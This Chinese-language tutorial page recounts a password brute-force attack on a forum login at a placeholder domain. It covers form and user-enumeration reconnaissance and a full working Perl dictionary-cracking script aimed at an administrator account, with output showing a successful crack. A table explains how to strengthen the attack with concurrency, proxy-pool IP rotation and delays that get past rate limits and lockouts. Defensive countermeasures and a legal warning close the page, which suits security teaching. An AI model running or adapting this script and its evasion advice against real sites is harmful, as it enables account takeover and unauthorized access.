萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

一次簡單腳本攻擊實戰複盤:從登入介面到 Perl 爆破腳本的完整攻擊鏈

某論壇 (bbs.com) 登入介面存在邏輯缺陷,攻擊者通過分析前端表單、枚舉用戶信息接口、編寫 Perl 字典爆破腳本,成功破解管理員弱密碼。本文完整還原攻擊偵察、漏洞驗證、武器化、利用全過程,並給出代碼級修復方案。

偵察階段:前端與接口分析

登入表單結構

<form action="login.cgi" method="post">
  <input type="hidden" name="menu" value="login">
  <input type="hidden" name="id" value="">
  用戶名:<input size="25" name="username">
  密 碼:<input type="password" size="25" name="userpsd">
</form>

提交地址:POST https://bbs.com/login.cgi,參數:username、userpsd、menu=login、id=

用戶信息枚舉接口

發現 yhreg.cgi?menu=viewuser&username= 可查看用戶公開信息。測試發現:

  • username=silkroad → 正常返回
  • username=./silkroad → 正常返回 (./ 被過濾)
  • username=silkroad<script> → 返回第 7 行包含 fe7 (失敗特徵) vs 18d (成功特徵)

關鍵發現:登入成功/失敗響應第 7 行特徵碼不同,可作為爆破判斷依據。

目標鎖定

管理團隊頁面發現管理員 ID:秘密 (中文用戶名,可能繞過簡單過濾)

武器化:Perl 字典爆破腳本 (cracker.pl)

#!/usr/bin/perl
use Socket;
use strict;
use warnings;

die "Usage: $0 \n" unless @ARGV == 1;
my $host = shift;
print "Sending...\n";

open(my $fh, '<', 'dic.dic') or die "Cannot open dict: $!";
while (my $pwd = <$fh>) {
    chomp $pwd;
    # 構造 HTTP GET 請求 (實際應為 POST,此處為演示簡化)
    my $req = "GET /login.cgi?username=秘密&userpsd=$pwd&menu=login&id= HTTP/1.1\r\n" .
              "Host: bbs.com\r\n\r\n";
    
    my @res = send_raw($req);
    # 判斷第 7 行 (索引 6) 是否包含失敗特徵 'fe7'
    if ($res[6] =~ /fe7/) {
        print "pwd:$pwd error\n";
    } else {
        print "pwd:$pwd PASSED!\n";
        close $fh;
        exit;
    }
}
close $fh;

sub send_raw {
    my ($req) = @_;
    my $target = inet_aton($host) or die "inet_aton failed";
    socket(my $sock, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die "socket: $!";
    connect($sock, pack_sockaddr_in(80, $target)) or die "connect: $!";
    select($sock); $|=1; print $req;
    my @res = <$sock>;
    select(STDOUT); close $sock;
    return @res;
}

字典文件 (dic.dic)

asdf
asdfasdf
asdfasdfa
123456
admin
password
... (數萬常用弱密碼)

演示結果

C:\> cracker.pl bbs.com
Sending...
pwd:asdf error
pwd:asdfasdf PASSED!
程序探測到正確密碼後退出...

代碼缺陷與改進方向

防禦視角:如何斷開這條攻擊鏈?

  1. 登入介面防暴力:
    - 驗證碼 (圖形/滑塊/行為分析)
    - 帳號鎖定:5 次失敗鎖定 15 分鐘,IP 維度並行限制
    - 雙因子認證 (TOTP/短信/郵件/硬件金鑰)
  2. 用戶枚舉防護:
    - viewuser 接口統一返回通用信息 (不區分用戶存在/不存在)
    - 或者需登入後才可查看
  3. 敏感信息不入 URL:嚴禁 GET 傳遞密碼,POST + HTTPS 強制
  4. Web 應用防火牆 (WAF) 規則:
    - 短時間同源 IP 大量登入請求 → 挑戰/封禁
    - 檢測自動化工具特徵 (User-Agent、Header 順序、TLS 指紋、請求間隔)
  5. 審計與告警:
    - 記錄登入失敗 (用戶名、IP、時間、User-Agent)
    - SIEM 關聯:同一 IP 攻擊多帳號、同一帳號多 IP 嘗試、非工作時間爆發
  6. 密碼策略:
    - 最小長度 12、複雜度、歷史記憶 24 個、禁用常見弱密碼字典 (HaveIBeenPwned Top 100k)

法律與道德邊界

警告:未經授權對目標系統進行漏洞掃描、密碼爆破、未授權訪問,均屬違法行為 (中國刑法第 285 條、第 285 條之三)。本文代碼僅供授權滲透測試、安全教學、防禦研究使用。實戰中嚴禁針對生產環境、他人資產進行任何攻擊行為。

攻擊鏈看似簡單,實則每一環都映射著開發/配置/運維的缺失。防禦者應建立「假設失陷」思維,在偵察阻斷、武器化失效、投遞攔截、利用緩解、安裝阻止、C&C 切斷、行動遏制殺傷鏈每一環佈防,將攻擊成本推高至不可接受。

copyright © 萬盛學電腦網 all rights reserved
缺陷影響改進
單線程順序嘗試速度極慢 (~10-50 req/s)多線程/協程並發、非阻塞 I/O (IO::Async、Mojo::IOLoop)
使用 GET 而非 POST日志留痕明文密碼、長度限制、語義錯誤標準 POST 請求,Content-Type: application/x-www-form-urlencoded
無會話/CSRF Token 處理若登入需 Token 將全部失敗先 GET 登入頁解析 Token,攜帶 Cookie 會話
無速率控制/錯誤重試觸發 WAF/帳號鎖定/連接耗盡指數退避、隨機延遲、IP 輪換 (代理池)
硬編碼目標/參數/特徵碼復用性極差命令行參數化、配置文件、YARA 規則匹配響應
無 SSL/TLS 支持無法攻擊 HTTPS 站點使用 IO::Socket::SSL、LWP::UserAgent 支持 HTTPS